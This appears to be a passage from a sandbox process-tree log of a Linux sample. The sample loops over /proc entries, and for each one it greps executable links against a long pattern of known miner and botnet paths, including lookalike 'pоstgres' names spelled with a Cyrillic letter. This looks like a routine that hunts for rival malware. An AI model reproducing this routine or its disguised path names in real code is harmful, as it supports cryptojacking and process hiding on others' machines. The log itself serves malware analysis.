  2⤵
  PID:1075
- /bin/ls
  ls -latrh /proc/71
  2⤵
  PID:1074
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1077
- /bin/grep
  grep exe
  2⤵
  PID:1080
- /bin/ls
  ls -latrh /proc/72
  2⤵
  PID:1079
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1082
- /bin/ls
  ls -latrh /proc/73
  2⤵
  PID:1084
- /bin/grep
  grep exe
  2⤵
  PID:1085
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1087
- /bin/ls
  ls -latrh /proc/736
  2⤵
  PID:1089
- /bin/grep
  grep exe
  2⤵
  PID:1090
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1092
- /bin/ls
  ls -latrh /proc/738
  2⤵
  PID:1094
- /bin/grep
  grep exe
  2⤵
  PID:1095
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1097
- /bin/grep
  grep exe
  2⤵
  PID:1100
- /bin/ls
  ls -latrh /proc/739
  2⤵
  PID:1099
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1102
- /bin/grep
  grep exe
  2⤵
  PID:1105
- /bin/ls
  ls -latrh /proc/74
  2⤵
  PID:1104
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1107
- /bin/grep
  grep exe
  2⤵
  PID:1110
- /bin/ls
  ls -latrh /proc/743
  2⤵
  PID:1109
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1112
- /bin/grep
  grep exe
  2⤵
  PID:1115
- /bin/ls
  ls -latrh /proc/75
  2⤵
  PID:1114
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1117
- /bin/grep
  grep exe
  2⤵
  PID:1120
- /bin/ls
  ls -latrh /proc/76
  2⤵
  PID:1119
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1122
- /bin/grep
  grep exe
  2⤵
  PID:1125
- /bin/ls
  ls -latrh /proc/77
  2⤵
  PID:1124
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1127
- /bin/grep
  grep exe
  2⤵
  PID:1130
- /bin/ls
  ls -latrh /proc/78
  2⤵
  PID:1129
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1132
- /bin/grep
  grep exe
  2⤵
  PID:1135
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1134
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1137
- /bin/grep
  grep exe
  2⤵
  PID:1140
- /bin/ls
  ls -latrh /proc/81
  2⤵
  PID:1139
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1142
- /bin/grep
  grep exe
  2⤵
  PID:1145
- /bin/ls
  ls -latrh /proc/82
  2⤵
  PID:1144
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1147
- /bin/grep
  grep exe
  2⤵
  PID:1150
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1149
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1152
- /bin/grep
  grep exe
  2⤵
  PID:1155
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1154
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1157
- /bin/grep
  grep exe
  2⤵
  PID:1160
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1159
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1162
- /bin/grep
  grep exe
  2⤵
  PID:1165
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1164
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1167
- /bin/grep
  grep exe
  2⤵
  PID:1170
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1169
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1172
- /bin/grep
  grep exe
  2⤵
  PID:1175
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1174
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1177
- /bin/grep
  grep exe
  2⤵
  PID:1180
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1179
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1182
- /bin/grep
  grep exe
  2⤵
  PID:1185
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1184
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1187
- /bin/grep
  grep exe
  2⤵
  PID:1190
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1189
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1192
- /bin/grep
  grep exe
  2⤵
  PID:1196
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1195
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1199
- /bin/grep
  grep exe
  2⤵
  PID:1202
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1201
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1205
- /bin/grep
  grep exe
  2⤵
  PID:1209
- /bin/ls
  ls -latrh /proc/dma
  2⤵
  PID:1208
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1211
- /bin/grep
  grep exe
  2⤵
  PID:1215
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1214
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1218
- /bin/grep
  grep exe
  2⤵
  PID:1221
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1220
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1224
- /bin/grep
  grep exe
  2⤵
  PID:1228
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1227
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1230
- /bin/grep
  grep exe
  2⤵
  PID:1234
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1233
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1237
- /bin/grep
  grep exe
  2⤵
  PID:1240
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1239
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1243
- /bin/grep
  grep exe
  2⤵
  PID:1247
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1246
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1249
- /bin/grep
  grep exe
  2⤵
  PID:1253
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1252
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1256
- /bin/grep
  grep exe
  2⤵
  PID:1259
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1258
- /bin/grep
